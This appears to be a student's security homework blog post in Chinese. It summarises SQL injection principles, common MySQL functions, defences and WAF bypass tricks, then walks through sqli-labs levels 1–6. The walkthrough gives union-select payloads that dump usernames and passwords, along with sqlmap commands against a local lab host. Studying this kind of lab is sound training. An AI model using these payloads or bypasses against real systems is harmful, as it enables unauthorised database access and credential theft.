第五次作业—8.30—G_c

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理:

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入常用函数及含义:

version()                 # 查看数据库版本
database()                # 查看当前数据库名
user()                    # 查看当前数据库用户
system_user()             # 查看系统用户名
group_concat()            # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir                 # 查看数据库路径
@@version_compile_os      # 查看操作系统
concat()                        #连接多个字符串

information_schema     #系统数据库,包含所以数据库信息

SQL注入防御手段:

1. 使用参数化查询
2. 输入验证和过滤
3. 使用存储过程
4. 最小权限原则
5. 使用ORM框架
6. 使用准备语句
7. 使用安全的数据库连接
8. 避免动态拼接SQL语句
9. 使用防火墙和入侵检测系统
10. 定期更新和维护数据库软件

SQL注入常用绕过waf的方法:

  • 绕过空格(常用:注释符/**/,%20)--注意:%27为’#为%23
  • 括号绕过空格(理解原理+合理利用:注意%28、%29表示())
  • 引号绕过(引号内字母 转 十六进制):
  • 逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
  • 比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):
  • or and xor not绕过:
  • 绕过注释符号(#,--(后面跟一个空格))过滤:
  • “ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
  • 绕过union,select,where:
  • 通用绕过(编码):
  • 等价函数绕过:
  • 宽字节注入:
  • HTTP参污染:
  • 更改前台提交方式:
  • 垃圾参数:
  • 组合绕过、分块传输、协议未覆盖、FUZZ大法、反序列化(有空处理)
     


2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap

level1

1.让输入ID,尝试输入?id=1'--+判断为字符型注入

2.联合查询,看看有多少列?id=1' order by 3 --+

order by 4 报错,说明只有三列

3.查看数据库版本?id=-1'union select 1,database(),version()--+

显示当前在security数据库,版本是5.7.26;mysql5以上存在内置库information_schema

4.使用?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+查看表名

5.在users表中查找 ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6.查找username,id,password;?id=-1'union select 1,2,group_concat(username,"-",id,"-",password) from users --+

level2

1.同理,先试试注入类型?id=1'

属于字符型

2.流程和第一关相同,直接上结果:?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+

level3

1.老规矩直接上?id=1'发现还是字符型,但是加了个括号,所以后面注入时要闭合括号

2.流程也差不多直接上结果:?id=-1') union select 1,2,group_concat(username,"-",id,"-",password) from users --+

level4

1.老规矩直接上?id=1'

2.再试试?id=1"

发现属于双引号字符型,且带括号

3.过程差不多,只是语句稍加修改:?id=-1") union select 1,2,group_concat(username,"-",id,"-",password) from users --+

level5

1.单引号双引号都可以,也没有括号,网上看看大家的做法,发现好!麻!烦!,于是直接sqlmap启动!!

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' --dbs 

2.盲猜数据库是security,查看下users的字段

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -T 'users' --columns

3.查数据

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -T 'users' --dump


3.总结SQLi的手工注入的步骤

  1. 判断有无注入点
  2. 猜解列名数量
  3. 通过报错方式判断回显点
  4. 利用union select进行信息收集
  5. 获取数据库结构信息
  6. 提取敏感数据


4.使用sqlmap通过或验证第六关

1.查找数据库

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' --dbs 

2.查找数据库的表

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -tables  

3.查寻字段

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' -D 'security' -T 'users' --columns

4.dump

sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' -D 'security' -T 'users' --dump

  • 22
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值